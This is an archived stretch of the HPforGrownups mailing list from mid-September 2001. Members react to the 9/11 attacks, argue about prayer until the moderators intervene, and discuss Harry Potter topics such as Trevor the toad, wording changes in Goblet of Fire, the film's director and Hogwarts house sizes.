Date: Thu, 13 Sep 2001 20:29:23 -0000
Subject: OT : Prayer -- and other Comments
In-Reply-To: <9nr06q+ej4v@eGroups.com>
Message-ID: <9nr4v3+3tvp@eGroups.com>

No: HPFGUIDX 26082

--- In HPforGrownups at y..., "Joy M" <joym999 at a...> wrote:
> What kind of God do you all believe in 
> so much that allows lunatics to murder thousands upon thousands of 
> people?

Joy, the same kind of God that allows you to say things like that 
without striking you down for daring to put one toe out of line.  The 
same kind of God that allows you to chose to go to church on the 
sabbath, or stay home.  

You are free to chose what you do with your life.  You are free to 
help thousands of people.  You are free to murder thousands of 
people.  It is your choice.  God has given you that choice.  You are 
not free to chose the consequences of your choices however.

Rest assured, the people who are responsibile for what happened 
Tuesday will have to answer for it before his eternal bar of 
judgement.  The guilty still alive may yet escape man's justice, but 
they cannot escape his. 

Joy, what would you have God do?  Force everybody to do good?  Force 
everything so there are no problems?  No trials to overcome?  No 
problems to solve?  That would essentially return man to the level of 
the beasts, would it not?  We would be reduced to creatures in a zoo 
with God being the zoo-keeper providing us our every need.

No, the acts of terror Tuesday were not the results of an unfeeling 
God.  If you want to see the hand of God, look at the heroism of the 
rescue workers, the unselfish outpouring of help and supplies, the 
coming together of bitter partisan enemies in Washington, the message 
of an obviously shocked Yasar Arrafat at the news, the pledges of 
support from around the world.  There is the hand of God.

I pray that good will continue to come from this.

Marcus





From magpie1112 at yahoo.com  Thu Sep 13 21:12:17 2001
From: magpie1112 at yahoo.com (magpie1112 at yahoo.com)
Date: Thu, 13 Sep 2001 21:12:17 -0000
Subject: More heartbreak for Neville
In-Reply-To: <D8AB9C5548AED211928B0090273CDDD705789ABA@mailbox.engr.sc.edu>
Message-ID: <9nr7fh+2qmc@eGroups.com>

No: HPFGUIDX 26083

Merde!!!  I've looked all over the net and can't seem to find info on 
the life expectancy of a toad!  What good is this thing anyway? ;)

If Neville's dear Trevor is your typical Common Toad (Bufo bufo), 
he's probably got a few good years left (a college chum of mine kept 
a Bufo americanus that was about 5 years old).  I am supposing that 
Neville treats him well and keeps Trevor in good health (and good 
flies).  All this depends, of course, that Neville got him when 
Trevor was just shy of being a tadpole.  

But Trevor could be "gifted" with a longer life, since he seems to be 
along the lines of a familiar rather than a regular pet.  I'm still 
waiting to see if he has any magical powers....

- Denise

**************
"His name is Scabbers and he's useless, he hardly ever wakes up"

- Ron, SS/PS


--- In HPforGrownups at y..., "Snyder, Meri" <snyderm at e...> wrote:
> Ah but is he a magical toad?  We know from PoA that magical rats 
> live longer than ordinary rats. I don't have my book with me but 
> review the section when they are at the pet store in Diagon Alley.  
> The lady was suprised that Scabbers had lived as long as he had 
> being a normal rat.  Trevor may have unknown powers simply because 
> he is a good escaper.
> 
> Leslie
> 
> -----Original Message-----
> From: prefectmarcus at y... [mailto:prefectmarcus at y...]
> 
> So how much longer can Trevor be expected to live?  He is at least 
> three years-old now.  What is the life expectancy of a toad?
> 
> Marcus
> 





From jkusalavagemd at yahoo.com  Thu Sep 13 22:42:40 2001
From: jkusalavagemd at yahoo.com (Haggridd)
Date: Thu, 13 Sep 2001 22:42:40 -0000
Subject: ADMIN: Tolerance--Prayer--Attacks on Prayer
In-Reply-To: <3BA11340.9030309@swbell.net>
Message-ID: <9nrcp0+8avd@eGroups.com>

No: HPFGUIDX 26084

--- In HPforGrownups at y..., Penny & Bryce <pennylin at s...> wrote:
> Hi everyone --
>
> We Moderators have agreed to not strictly adhere to our everyday group
> rules for the time being.  This is a time when many of us, although
> perhaps the Americans in particular, are coping with shock and deep
> tragedy.  It would be good if all members would remember that some
of us
> are expressing very raw emotions -- some posters may be just venting or
> expressing emotion more than attempting to establish any real dialogue
> with others.
>
> We *are* a diverse group. While we should all be mindful of the
> diversity, I don't believe it is necessary to completely stifle
> expression at a time like this.  Please just continue to use common
> sense in creating your messages.
>
> I've been quiet, as have many of our regular posters.  I expect we'll
> get back to HP in full force when it seems appropriate.  In the
> meantime, my thoughts and prayers remain with those who have suffered
> losses and with those in the worldwide community, which is forever
> changed by these events IMO.
>
> Thanks,
>
> Penny
> Magical Mod Squad

While I do appreciate the restraint shown by the moderaters, the care
that has been take so as not to offend any party has given rise to my
impression that, in the minds of the moderators, the two actions are
morally or ethically equal.  I hope that this was not the intent.

A spontaneous cry for succor is not ethically or morally equivalent to
a considered attack upon the belief system which engendered that cry.
That was a considered act and should be called what it is, not tacitly
approved under a blanket call for restraint.

Haggridd





From heraldtalia at juno.com  Thu Sep 13 19:48:34 2001
From: heraldtalia at juno.com (Herald Talia)
Date: Thu, 13 Sep 2001 15:48:34 -0400
Subject: [HPforGrownups] Re: If I were you....
Message-ID: <20010913.154907.-139561.0.HeraldTalia@juno.com>

No: HPFGUIDX 26085

All I can say is :-) Let's be friends.  Sorry if I came on too strong
<<hug>> it wasn't meant to be personal. I just think JKR would be
betraying children all over the world who have suffered from terrorism,
racism etc. if she didn't keep both the dark and light sides of the
Potterverse "real." I wanted to make the point that HP isn't just an
American or British phenomenon - children in the less "free world" enjoy
it too. And some of those kids (even the American inner city ones I see
every day) don't have any innocence left to lose. I just hope Jo keeps it
going just the way it has been. It has been such a useful talking tool in
classrooms to really discuss the nature of evil, racism, and war with
kids. I hope she keeps on goin' strong. 
Robyn, thrilled to hear that five of this country's bravest - firemen,
were just pulled alive from the rubble after being trapped for so many
hours. 
PS - sorry for posting twice - I just felt the dialogue on this had to
continue, and felt I needed to apologize publicly. 


On Thu, 13 Sep 2001 19:40:10 -0000 fourfuries at aol.com writes:
> --- In HPforGrownups at y..., Herald Talia <heraldtalia at j...> wrote:
> > 
> > On Thu, 13 Sep 2001 13:14:11 -0000 fourfuries at a... writes:
> > > --- In HPforGrownups at y..., heidi.h.tandy.c92 at a... wrote:
> 
> > When you are not in the affected part of the world, terrorism
> > seems remote and surreal. You hear a statistic - 30 people dead in 
> a
> > bombing - and it kind of rolls over your head. You don't think of 
> 10
> > teddy bears that will never be hugged again, ten parents who come  
> 
> > home to empty houses. You don't think of 20 children who will 
> never 
> > have someone to call "Mom" or "Dad" again. You don't think of the  
> 
> > individuality of these people - of the lives torn asunder. 
> > 	But when you actually live in the country where terrorism 
> is 
> > a threat, it's different. It affects you. JKR clearly already made 
> 
> > her choice. I'm speaking as an American who has heard about        
> 
> > bombings in GB, but also as a Jew with relatives in Israel. 
>  
> 
>   Please, beloved friend, let us not start measuring who best 
> relates 
> to the pain of these tragedies.  Right now, the whole world is 
> united 
> in empathy.  Caring is not the province of any one nation, or people 
> 
> or even of just the survivors of similar horrors.
>   I agree that people in other parts of the world are more 
> sensitized 
> to the risks of sudden, irrational violence stemming for socio 
> political groups.  I do not think it means that the rest of the 
> world 
> is necessarily more sensitive.
>   I think that one's emotional reaction is an individual 
> perspective.
> Some people cried from the very first report.  I didn't cry until 7 
> hours into the ordeal, when I realized how woefully unprepared my 
> country is to fight this kind of terrorism.
> 
> > Your innocence has been lost, and you're very lucky to have had 
> it. 
> > Other people, in other parts of the world are not so lucky. 
> 
>   As for lost innocense, I wasn't being personal.  I was speaking 
> for 
> a nation that occassionally forgets that love, honor, justice and 
> freedom must be fought for in every generation.  For the reasons 
> stated above, I will not recite the events that brought an end to my 
> 
> innocense, but it wasn't this experience.
>   I, like many others, have been wondering how long it would be 
> before such evil found its way to american shores, before the 
> average 
> american had to face the reality that while we may be invincible, we 
> 
> are not untouchable.  I await with much anticipation how the Land of 
> 
> the Free will react to this assault on its very person.
> 
> > I think JKR realizes this.  I ...hope she doesn't alter...her 
> books.
> > They are meaningful only if they reflect real suffering, and real
> > redemption...The world became a slightly scarier place on Tuesday. 
>  
> > We need more art, more literature, more writing, to help us cope. 
> 
> I now and from the beginning have agreed with you, that JKR need 
> change nothing for my taste; I urge you find no quarrel with me.  We 
> 
> are on the same team, playing from a new playbook, but out to win 
> the 
> same game.  If the world is a bit scarier, then the people of the 
> United States are now a bit wiser, more mature, and better able to 
> handle it.
> 
> 
> 4FR Convinced of the Indomitabilty of the Human Spirit.
> 
> 
> 
> ------------------------ Yahoo! Groups Sponsor 
> 
> _______ADMIN________HPFGU_______ADMIN__________
> 
> Attention everyone! Before posting, you must read our netiquette 
> tips at
>
http://groups.yahoo.com/group/HPforGrownups/files/Admin%20Files/netiquett
eTIPS.htm
> 
> You should also read the Very Frequently Asked Questions file (VFAQ) 
> at
>
http://groups.yahoo.com/group/HPforGrownups/files/Admin%20Files/VFAQ.htm 
> and check out our FAQ-based essays at: 
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> 
> For more details or help, contact your personal List Elf or the 
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> 



From dasienko at email.com  Thu Sep 13 22:07:28 2001
From: dasienko at email.com (dasienko at email.com)
Date: Thu, 13 Sep 2001 22:07:28 -0000
Subject: AGAINST TERRORISM
Message-ID: <9nran0+ua90@eGroups.com>

No: HPFGUIDX 26086

I received this e-mail from a friend. I thought that the menbers of 
this community would like to participate. 




Hello all I am sending this on because it sounds like a good idea to 
me.
This is not a chain letter or any such thing it is just an idea that 
a Philadelphia nursing service sent to their employees. 
Please join in if you can.

Friday Night at 7:00 p.m. EDT  go out your door,
stop your car, or step out of your establishment and light a candle. 
We will show the world that Americans are strong and united
together against terrorism.

Please pass this to everyone on your e-mail
list. We need to reach
everyone across the United States quickly.

The message: WE STAND UNITED - WE WILL NOT
TOLERATE TERRORISM!

Thank you.
We need press to cover this - we need the
world to see.

> >





From jkusalavagemd at yahoo.com  Thu Sep 13 22:49:12 2001
From: jkusalavagemd at yahoo.com (Haggridd)
Date: Thu, 13 Sep 2001 22:49:12 -0000
Subject: OT : Prayer -- and other Comments
In-Reply-To: <007101c13c96$b1e7bd40$c500a8c0@mshome.net>
Message-ID: <9nrd58+orhf@eGroups.com>

No: HPFGUIDX 26087

--- In HPforGrownups at y..., "Hermione" <hermione at p...> wrote:
> Look for all those who don't follow religion or go by a differnt
religion
> ignore it, but don't bit back at me because I wanted to send something
> comforting to those who need it!!!!
>
>

Here is a one line post!  Hear Hear, Hermione!




From pennylin at swbell.net  Thu Sep 13 23:29:24 2001
From: pennylin at swbell.net (Penny & Bryce)
Date: Thu, 13 Sep 2001 18:29:24 -0500
Subject: ADMIN: Discussions of Prayer, Religion
Message-ID: <3BA14154.2000809@swbell.net>

No: HPFGUIDX 26088

Hi --

Me again.  Listen up: please cease & desist from the current direction 
that I see the discussions about prayer & religion heading.

As I said in my past message, this is a time of great tragedy for the 
U.S. and the world at large.  We are a group of diverse membership.  We 
are also supposed to be a group of adults.  Act like it.

Use some general common sense, folks.  Don't forward to the list 
messages about prayer (or really any of the other general informational 
type emails that seem to widely circulate at a time like this).  People 
who will appreciate that sort of thing have probably received it from 
several other sources.

By the same token, those of you who are not Christians or not religious, 
just ignore it if someone references the word Jesus or prayer in their 
post at a time like this.  If, on the other hand, you are religious and 
feel compelled to make some sort of religious reference in your message, 
just keep in mind that this group is composed of people of all different 
religions and people who practice no religion.  In other words, be sure 
your reference is inocuous and/or non-offensive to people with different 
beliefs.

In short, as I said above, just use *common sense.*

It seems utterly insane to me at a time like this that we can't all just 
get along.  I will not hesitate to put people who persist in this thread 
on moderated status.

Penny
List-Owner




From joyw at gwu.edu  Thu Sep 13 22:25:40 2001
From: joyw at gwu.edu (- Joy -)
Date: Thu, 13 Sep 2001 18:25:40 -0400
Subject: Research Paper - Help!
Message-ID: <015301c13ca3$056dc3e0$7c44a480@cp124541b>

No: HPFGUIDX 26089

I want to do a research paper that focuses on how Harry Potter has changed
children's literature.  My professor challenged me to find any evidence of
this, or any other topic about Potter worthy of writing about.  Of course, I
take that as a personal affront, and am determined to make this work. <g>
I'd really appreciate some help.  What differentiates the books from other
"children's literature"?  What other topics can you think of that are
possible of expanding to 15 pages?  Please e-mail me personally: joyw AT gwu
DOT edu.  Thanks so much!

~Joy~







From mediaphen at hotmail.com  Thu Sep 13 06:28:36 2001
From: mediaphen at hotmail.com (Martin Smith)
Date: Thu, 13 Sep 2001 08:28:36 +0200
Subject: NYC
References: <1000254475.2622.64877.l8@yahoogroups.com>
Message-ID: <DAV37j6xdI8CqDT0Dz0000063f4@hotmail.com>

No: HPFGUIDX 26090

Hi,

I live in Sweden, far away from the tragic scenes of the other day. Seeing what happened on TV, listening to it on radio just didn't make sense. The whole thing was so unreal, so incomprehensive, like something from a bad science fiction movie.
Reading your personal testemonies and stories has helped me to more understand the tragedy that has occured. My thoughts are with you all, those of you missing relatives or friends, or simply those who condemn this sort of pointless acts of violence. Hang in there! Those of you, especially in the US, who are slightly less alienated from this than I am, are true heroes in my book.

With no clever comment or far-fetched theories this time,

Martin Smith






From pennylin at swbell.net  Thu Sep 13 23:59:15 2001
From: pennylin at swbell.net (Penny & Bryce)
Date: Thu, 13 Sep 2001 18:59:15 -0500
Subject: U.S./UK Solidarity
Message-ID: <3BA14853.9000005@swbell.net>

No: HPFGUIDX 26091

Hi --

I just watched the clip on ABC that showed the special changing of the 
guard ceremony at Buckingham Palace earlier today.  I was moved to tears 
to hear them playing the U.S. national anthem.

I just wanted to share since I've been rather quiet (with the exception 
of sending tetchy ADMIN messages, which I'd rather not be sending).

Penny
(who maybe isn't *so* pessimistic about human nature after all)




From cynthiaanncoe at home.com  Thu Sep 13 22:36:23 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Thu, 13 Sep 2001 22:36:23 -0000
Subject: Also On Topic  (was Re: GoF:  Murder vs. Curse? (LONG)
In-Reply-To: <9nl6pq+sfuo@eGroups.com>
Message-ID: <9nrcd7+si7t@eGroups.com>

No: HPFGUIDX 26092

Because I could really use a distraction, I'm reviving this thread 
that I posted on Tuesday.  If you all tell me I'm all wet, at least 
it will take my mind off of things for a few minutes.  It's about why 
JKR changed the language about whether V wanted Wormtail to curse 
someone or murder them.


--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
> Sheryll wrote:
> > 
> > Happy to oblige with quotes from the Canadian version!
> > 
> > > The American text in my book is:
> > > 
> > > "My Lord, I must speak!" said Wormtail, panic in his
> > > voice now.  "All 
> > > through our journey I have gone over the plan in my
> > > head -- My lord, 
> > > Bertha Jorkins's disappearance will not go unnoticed
> > > for long, and if 
> > > we proceed, if I murder --"
> > 
> > In the Canadian version the above paragraph is the
> > same, save the last 3 words, which read: "if I
> > curse--"
> > 
> > > "If?" whispered the second voice.  "If?  If you
> > > follow the plan, 
> > > Wormtail, the Ministry need never know that anyone
> > > else has died.  If 
> > > you do it quietly and without fuss; I only wish that
> > > I could do it 
> > > myself, but in my present condition . . . Come,
> > > Wormtail, one more 
> > > death and our path to Harry Potter is clear.  by
> > > that time, my 
> > > faithful servant will have rejoined us -- "  
> > 
> > Again, there is only a minor difference. The Canadian
> > version reads "come, Wormtail" one more obstacle
> > removed and our path to Harry Potter is clear." These
> > are both on page 15 of the Canadian version.
> > > 
> > > Then later:
> > > 
> > > "One more murder ... my faithful servant at Hogwarts
> > > ... Harry Potter 
> > > is good as mine, Wormtail."
> > > 
> > This is found on page 16 of the Canadian version and
> > reads as follows:
> > "One more curse ... my faithful servant at Hogwarts
> > ... Harry Potter is as good as mine, Wormtail."
> > 
> 
> Sheryll, I'm cooking up a theory that would explain why the 
> editors/JKR would change "curse/obstacle" to "murder."  It is only 
> half-baked at this point, but here goes.
> 
> Based on what you and Laura have quoted, it sounds like the curse 
> language is in early versions, and later versions have the murder 
> language.  Is this an accident/flint, or is it changed for a 
reason?  
> Once the book is in print, why would JKR (who demonstrated with the 
> wand order issue a certain reluctance to change the text after the 
> fact) just up and change something like this without a good reason?
> 
> First of all, the conversation between Wormtail and V that Bryce 
> overhears seems to take place after they've found/tortured/killed 
> Bertha, but before they've freed Crouch Jr.  How do we know this?  

>V tells Wormtail he won't have to do "it" alone:  "By that time, 
> my faithful servant will have rejoined us."  That might mean that 
> this curse/murder is supposed to happen after Crouch Jr. is freed 
and 
> Crouch Sr. is subdued.  So I think this has to mean they are 
> contemplating the curse/murder of Moody.  So V and Wormtail still 
> have two jobs to do:  free Crouch and kidnap Moody.
> 
> In both the original text and the rewritten text, however, V talks 
> about the MoM not finding out anyone else has "died."  Why do we 
have 
> that language in the original version when the rest of the text 
talks 
> about a curse, not a death?  And why is this inconsistency cleaned 
up 
> later to discuss a murder?
> 
> I think the answer might have to do with Wormtail's reluctance to 
> follow the plan and to kill people (note that Voldemort, not 
> Wormtail, kills Bryce).  I speculate that V wanted Wormtail and 
> Crouch Jr. to kill Moody and have Crouch Jr. assume his identity.  
> Wormtail and Crouch Jr. are ordered to go to Moody's house, subdue 
> him, question him about his habits, etc. at leisure, then KILL 
him.  
> 
> But things don't go according to plan.  Wormtail has cold feet, and 
> Moody puts up a big struggle so that the cops and Arthur Weasley 
> come.  They don't have time to question Moody then kill him, so 
> Wormtail and Crouch Jr. stun/Imperio Moody instead and keep him 
> alive.  
> 
> Why do they deviate from V's plan in this way?  Well, Crouch Jr. 
> tells us that they need Moody alive to keep making the potion.  But 
> I'm not sure V would agree with that assessment.  You can make 
> polyjuice potion with a single hair, so Moody's mane of hair ought 
to 
> have plenty to make the potion even if Moody were dead.  Perhaps 
> Wormtail doesn't like to kill, and Crouch Jr. wanted Moody around 
to 
> get the information he needs to pass himself off as Moody.
> 
> The upshot is that JKR lets this change from "curse/obtacle" 
> to "murder" go through because it is more consistent with this plot 
> detail as described above.  But why bother making the change at 
all?  
> Why not just look the other way and leave it as "curse/obstacle"?  
> 
> Well, it could be that Moody is going to make an appearance in OoP, 
> and JKR needs Voldemort to be surprised that the real Moody is 
alive, 
> and the way to do that is to firm up V's assumption that the real 
> Moody is dead.  Voldemort has no way of knowing at the end of GoF 
> that the real Moody is still alive because (under my theory) V 
> ordered Moody killed ages ago.  (And I think V believes that Crouch 
> Jr. still has his soul at the end of GoF, BTW).  This raises all 
> sorts of interesting possibilities, including having the real Moody 
> assume Crouch Jr.'s identity to spy on V, which is how we can get 
all 
> manner of juicy details about what's going on in V's camp.
> 
> Anyway, I know that this theory is quite wobbly, but it is all I 
can 
> think of to have these changes from the original text make any 
sense 
> at all.
> 
> Cindy (who is way, way out on a limb on this one)




From ohtoresonate at yahoo.com  Fri Sep 14 01:15:47 2001
From: ohtoresonate at yahoo.com (ohtoresonate at yahoo.com)
Date: Fri, 14 Sep 2001 01:15:47 -0000
Subject: MOVIE: Steven Spielberg and Chris Columbus
In-Reply-To: <9nqv7c+104qq@eGroups.com>
Message-ID: <9nrlo3+fbeq@eGroups.com>

No: HPFGUIDX 26093

--- In HPforGrownups at y..., caliburncy at y... wrote:

< snip >

> Everything I've seen seems to indicate to me that he is a very 
> opinionated director which is why a lot of people would classify
him 
> as one of the more visionary directors.  But being opinionated can 
be 
> very problematic if you're supposed to be doing a faithful 
adaptation.

Very true - this is why Spielberg's so often considered an "auteur."  
A battle between an auteur and an author of their popularity would be 
titanic indeed.

> Chris Columbus, on the other hand, seems to have been a good,
though 
> unlikely-seeming choice.  At first I had my reservations since he 
> didn't really have the typical sort of background (unless you maybe 
> count his screenplays) for this kind of film.

I agree with you about Chris Columbus - I
haven't been a huge fan of his recent works, and
though I haven't hated them either, I would have hated to
see Harry slap himself silly a la "Home Alone."

But I caught on tv snippets of a movie he wrote 
ages ago: "Young Sherlock Holmes." For a few seconds, 
before I figured out who the characters were 
(young S. H. and young Watson at BOARDING SCHOOL 
battling an obnoxious BLOND peer-foe named DUDLEY) 
I would have sworn it was a trailer for
HP that I had not seen before!

Funny, but Steven Spielberg is credited as a 
producer of "Young Sherlock Holmes."  *Six* 
degrees of separation?  More like two
 

However, as good as it LOOKED, I couldn't sit through 
"YSH" for more than a few minutes.  But that 
may be as much the director, Barry Levinson's, fault as 
it is Columbus the screenwriter's fault.

If the trailers are any indocation, Columbus the director 
seems to "get" Harry Potter. < crossing fingers > And he 
*is* working with a better story, after all!  :)

< snip > 

> For one thing, I have no doubt that somewhere 
> in the movie there will be a single pseudo-cutesy-funny 
> moment that will make me cringe.  Whether or not that will 
> originally have been Columbus' fault is debatable, 
> but ultimately it is his responsibility to fix or cut it 
> and he may instead leave it because it's a "family film".  
> He may even seek it out.

The rumor is that he's gonna have one heck of a DVD...which usually 
means he's WAAAAY over the usual 2 hours.  Can't imagine he'll leave 
in too many things that are extraneous to JKR's series.  In fact, 
according to a recent Entertainment Weekly article, a recent edit 
clocked in at 4 hours!  Yikes, what'll he do with a longer book like 
GoF?!?

:) OTR   




From ebonyink at hotmail.com  Fri Sep 14 01:18:57 2001
From: ebonyink at hotmail.com (Ebony)
Date: Fri, 14 Sep 2001 01:18:57 -0000
Subject: From the Canadian Border With Love...
Message-ID: <9nrlu1+dvbc@eGroups.com>

No: HPFGUIDX 26094

Dear HP4GUers:

It's been a horrific week for us all.  Life has changed irrevocably.

I have family and friends who work in Manhattan, in D.C. (one 
formerly working at the Pentagon, very recently transferred to 
Quantico), and in Chicago's Loop.  I got word that everyone in the 
first two locations was OK within the first 24 hours.  I was 
extremely frightened for the HP fandom regulars as well.

The U.S./Canada border, 7 minutes from my front door in rush hour 
traffic, used to be as easy to cruise through as going across the 
street.  Around here we don't think Canada's another country... too 
many Canadians work here, including three teachers at my school who 
commute back and forth every day.  (My school's 4-5 minutes away from 
the Ambassador Bridge and the Detroit-Windsor tunnel, if that.)

But on Tuesday, we in Detroit got a wake-up call when the border was 
temporarily closed.  Those teachers could not go home.  Relatives who 
were in Canada--who could SEE home from where they were--couldn't 
cross.  The border's opened again, but it just may never be the same 
again... it now takes the average car 3-6 HOURS to cross... it used 
to take me 4-6 MINUTES.  Every car is stopped and searched.  Every 
passenger is thoroughly interrogated.

The US/Canadian border is the longest "open" border on the planet.  
If you live in a border city in the northern US, you know what I 
mean... it's nothing even like the US/Mexico border.  You don't need 
a passport, no one asks you for your ID--you just pay the toll, say 
where you're going in Canada (you can even make something up if you 
want), and cross.  (The action movie "The Jackal" with Bruce Willis 
illustrates very well how much of a cakewalk the entire St. Lawrence 
Seaway/Great Lakes section of the border is for terrorists.)  Because 
of this attack, one wonders if things will ever be the same again.

One of the students at my school was directly affected--her older 
brother was on one of the planes that crashed into the WTC.  When the 
TV was turned on and she was in the classroom, she rushed out of the 
classroom and down to the first floor (my new HS is 8 stories high).  
When the flight was announced on television, I was told the child 
*screamed*... but had the misfortune to be around an insensitive 
security guard who told her to be quiet, because hysterics wouldn't 
bring her brother back.  She told the grieving mother the same thing 
when she arrived moments later to pick the child up.  She related 
this to me yesterday proudly--"I told her I would NOT allow her into 
this building until she dried those tears, because she had to be 
strong for her daughter."  I just *looked* at the woman when she told 
me that.

My immediate concern in my local community is for our Americans--
citizens and permanent residents--from the Middle East.  Southeastern 
Michigan has the largest concentration of Arabic speakers in the 
United States... and anti-Arab prejudice here over the past couple of 
days has been horrific.  On Tuesday night, a local Muslim was 
battered.  This morning, the Islamic Student Association was 
vandalized horribly... it is located two doors away from my 
building.  Over the past few days I have heard prejudice against our 
neighbors spouted on talk radio, on television, and out of the mouths 
of passers-by, co-workers, and students.

How vastly unfair.  How hypocritical.  We are grieving... but let's 
not forget that there are plenty of loyal-to-the-bone Americans who 
look just like the people who are responsible this horror.  Judge the 
individual, NOT the group.

In closing, here's something I read on one of the boards from a 
Canadian commentator.  I hope it encourages someone.

---------------
A TRIBUTE TO THE UNITED STATES 

This is worth sharing. Widespread, but only partial news coverage was 
given recently to a remarkable editorial broadcast from Toronto by 
Gordon Sinclair, a Canadian television commentator. What follows is 
the full text of his trenchant remarks as printed in the 
Congressional Record... America: The Good Neighbor. 

"This Canadian thinks it is time to speak up for the Americans as the 
most generous and possibly the least appreciated people on all the 
earth. Germany, Japan and, to a lesser extent, Britain and Italy were 
lifted out of the debris of war by the Americans who poured in 
billions of dollars and forgave other billions in debts.  None of 
these countries is today paying even the interest on its remaining 
debts to the United States. When France was in danger of collapsing 
in 1956, it was the Americans who propped it up and their reward was 
to be insulted and swindled on the streets of Paris. I was there. I 
saw it. 

When earthquakes hit distant cities, it is the United States that 
hurries in to help. This spring, 59 American communities were 
flattened by tornadoes.  Nobody helped. 

The Marshall Plan and the Truman Policy pumped billions of dollars 
into discouraged countries.  Now newspapers in those countries are 
writing about the decadent, warmongering Americans. 

I'd like to see just one of those countries that is gloating over the 
erosion of the United States dollar build its own airplane. Does any 
other country in the world have a plane to equal the Boeing Jumbo 
Jet, the Lockheed Tri-Star or the Douglas DC10? If so, why don't they 
fly them? Why do all the international lines except Russia fly 
American planes? Why does no other land on earth even consider 
putting a man or woman on the moon?  You talk about Japanese 
technocracy and you get radios. You talk about German technocracy and 
you get automobiles. You talk about American technocracy and you find 
men on the moon -- not once, but several times and safely home again. 

You talk about scandals and the Americans put theirs right in the 
store window for everybody to look at. Even their draft-dodgers are 
not pursued and hounded. They are here on our streets and most of 
them, unless they are breaking Canadian laws, are getting American 
dollars from ma and pa at home to spend here. When the railways of 
France, Germany and India were breaking down through age, it was the 
Americans who rebuilt them. When the Pennsylvania Railroad and the 
New York Central went broke, nobody loaned them an old caboose. Both 
are still broke. 

I can name you 5000 times when the Americans raced to the help of 
other people in trouble.  Can you name me even one time when someone 
else raced to the Americans in trouble?  I don't think there was 
outside help even during the San Francisco earthquake. 

Our neighbors have faced it alone and I'm one Canadian who is damned 
tired of hearing them get kicked around. They will come out of this 
thing with their flag high. And when they do, they are entitled to 
thumb their nose at the lands that are gloating over their present 
troubles. I hope Canada is not one of those." 

"Stand proud, America!" 

--Ebony AKA AngieJ




From frantyck at yahoo.com  Thu Sep 13 22:48:36 2001
From: frantyck at yahoo.com (frantyck at yahoo.com)
Date: Thu, 13 Sep 2001 22:48:36 -0000
Subject: Distribution of students in houses (was: Dorms)
In-Reply-To: <9nr6a2+tm5s@eGroups.com>
Message-ID: <9nrd44+n1me@eGroups.com>

No: HPFGUIDX 26095

--- In HPforGrownups at y..., blpurdom at y... wrote:
> Denise wrote: 
> 
> I too assumed that the houses were all the same size. That could 
also 
> explain the reason why Griffindor & Slytherin are placed in classes 
> together. 
> 
> Barb now:
> 
> While I think the classes of kids born during the Voldemort years 
> stand a good chance of being smaller (birth years 1972-1981--1970 
and 
> 1971 seem too early for people to panic about having kids, even 
> though Voldemort was active for those two years) I think that
> these years would have fewer kids across all four houses and that 
it 
> is unlikely that most of the students are Ravenclaws and 
Hufflepuffs.
> 
> My reasoning lies in the House Cup competition.  If there were more 
> students in the other houses, Ravenclaw and Hufflepuff would have 
> more opportunities to acquire points through academic excellence, 
> among other things (especially the brainy Ravenclaws).  As
> the competition usually seems to come down to Slytherin vs. 
> Gryffindor, which under this theory would have the fewest students, 
> an imbalance of students in the houses seems unlikely.
> 
> --Barb


That's a subtle point. No, that's two subtle points. I'd just like to 
draw attention to a point made by borg3892000 in message 26014:

"In reading COS again, (for the umpteenth time), it hit me that 
perhaps the houses aren't the same size.  I've always assumed that 
Gryffindor had 1/4th the students of each class. It could be that the 
bulk of the student population is in Ravenclaw and Hufflepuff, with a 
small segment for Gryffindor and Slytherin.

It makes me think of a parabolic curve, with the rarer personality 
types in Gryffindor and Slytherin."

I know it's not possible to do a distribution analysis of how many 
students enter which houses based on the Sorting Hat's choices, but: 
since each student is assigned to one of the four houses based 
exclusively upon his or her own character and potential, there seems 
to be no reason to conclude that each house receives an equal number 
of students every year. Are exactly one quarter of the new students 
going to be power-hungry seekers or followers? Or stubbornly brave 
and noble children who know how to sift the fundamentally right from 
the fundamentally wrong?

And: do we know many Ravenclaw boys? I get the feeling that we know 
more Ravenclaw girls than we do boys, what with Penelope Clearwater 
and all the Ravenclaw girls who made eyes at Viktor Krum in the 
library (GoF). I hate to bring up this ancient and worn-shiny issue, 
but could this possibly reflect the ordinary (and probably mistaken) 
assumption that girls are generally more studious than boys?

I do wish Rowling would do Hufflepuff and Ravenclaw justice. Perhaps 
we will see more individuals from these two houses in OoP, as the 
fight against Voldemort gets underway.




From maidne at yahoo.com  Fri Sep 14 00:40:53 2001
From: maidne at yahoo.com (maidne at yahoo.com)
Date: Fri, 14 Sep 2001 00:40:53 -0000
Subject: Dorms/Differences in house size
In-Reply-To: <9nr22d+jilr@eGroups.com>
Message-ID: <9nrjml+9d8s@eGroups.com>

No: HPFGUIDX 26096

--- In HPforGrownups at y..., magpie1112 at y... wrote:
> Brilliant idea, Borg!  I too assumed that the houses were all the 
> same size.  That could also explain the reason why Griffindor & 
> Slytherin are placed in classes together.  I can't remember if I've 
> ever seen a Ravenclaw or a Hufflepuff sharing a class, either with 
> Griffindors or Slytherins.  If the bulk of Hogwarts is made up of 
R's 
> & H's, it would certainly "puff" up the numbers.  
> 
> And I wouldn't discount the "war = fewer children" theory, either.  
> If that is the case, I wonder if there was a "wizard boom" a year 
or 
> so after the war?  Perhaps Ginny's class (and the next few classes 
> after) are larger?
> 
> - Denise (who was never very good with numbers, anyway)

But the Gryffs do have a class with the Huffs: Herbology.  And 
apparently there are about as many Hufflepuffs as there are Gryffs 
and Slyths, since the day they potted the mandrakes "about 20 pairs 
of different-colored earmuffs were lying on the bench".




From Universo985 at yahoo.com  Fri Sep 14 03:33:30 2001
From: Universo985 at yahoo.com (Universo985 at yahoo.com)
Date: Fri, 14 Sep 2001 03:33:30 -0000
Subject: I would like to apologize
Message-ID: <9nrtqa+rv7r@eGroups.com>

No: HPFGUIDX 26097

to any I may have offended with my post and to the list owner I 
posted without reading your post on what to and not to right and I'm 
sorry




From Universo985 at yahoo.com  Fri Sep 14 02:58:30 2001
From: Universo985 at yahoo.com (Universo985 at yahoo.com)
Date: Fri, 14 Sep 2001 02:58:30 -0000
Subject: I would like to pray for you
Message-ID: <9nrrom+v4tg@eGroups.com>

No: HPFGUIDX 26098

Hello I had just joined the list about a day or so before the tragedy 
happened. When I foud out I wanted to come out of lurkdom to console 
any who needed but I was ill and had to go to the hospital. But I'm 
out now and anyone who want or needs it, I would like to add you to 
my prayer list and I hope everyone is or will be fine.




From joym999 at aol.com  Fri Sep 14 04:39:54 2001
